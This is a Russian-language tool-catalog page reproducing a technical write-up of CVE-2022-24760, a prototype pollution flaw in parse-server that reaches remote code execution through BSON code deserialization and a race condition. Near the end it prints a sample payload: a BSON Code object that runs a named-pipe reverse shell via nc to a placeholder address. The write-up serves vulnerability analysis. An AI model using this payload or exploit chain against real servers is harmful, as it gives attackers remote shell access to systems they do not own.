Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-24760 — Подробный технический анализ CVE-2022-24760, уязвимости prototype pollution в parse-server, приводящей к удаленному выполнению кода через BSON-сериализацию и эксплуатацию race condition. | Kitploit
Инструменты/GitHubGitHub/tuo4n8/cve-2022-24760
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложений
GitHubtuo4n8/cve-2022-24760

CVE-2022-24760

Подробный технический анализ CVE-2022-24760, уязвимости prototype pollution в parse-server, приводящей к удаленному выполнению кода через BSON-сериализацию и эксплуатацию race condition.

Репозиторий
1454 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-24760


поток

image-20220331114046018

image-20220331114258164

  • По умолчанию не требуется ключ для добавления, удаления и изменения классов в БД

image-20220331115258271


Diff коммита

https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

image-20220331132344135

  • Прототипное загрязнение происходит в функции expandResultOnKeyPath
root@kitploit:~
DatabaseController.js sanitizeDatabaseResult -> expandResultOnKeyPath
  • sanitizeDatabaseResult используется при добавлении и обновлении нового класса. Однако для достижения прототипного загрязнения должно быть выполнено условие, что keyUpdate __op принадлежит ['Add', 'AddUnique', 'Remove', 'Increment']

  • Следовательно, значения прототипа могут быть только array или number

    • image-20220331132813075
    • image-20220331132823843
  • Пример запроса:

image-20220331133133587

Эксплуатация sink для RCE

  • Перед сохранением данных в БД поток данных сериализуется через библиотеку BSON, когда _bsontype равен Code, выполняется serializeCode

image-20220331133328243

​ parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762

  • Затем данные десериализуются для выполнения операций, ведущих к sink:

image-20220331145339371

image-20220331145403962

image-20220331145421339

  • Используем прототипное загрязнение, чтобы загрязнить options['evalFunctions'] -> обход к функции isolateEval
  • Пример полезной нагрузки (payload):
root@kitploit:~
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
  • Поскольку выполнение функции expandResultOnKeyPath происходит после десериализации, необходимо постоянно выполнять состояние гонки (race condition), чтобы при достижении isolateEval его можно было запустить.

image-20220331145825647

Скачать инструмент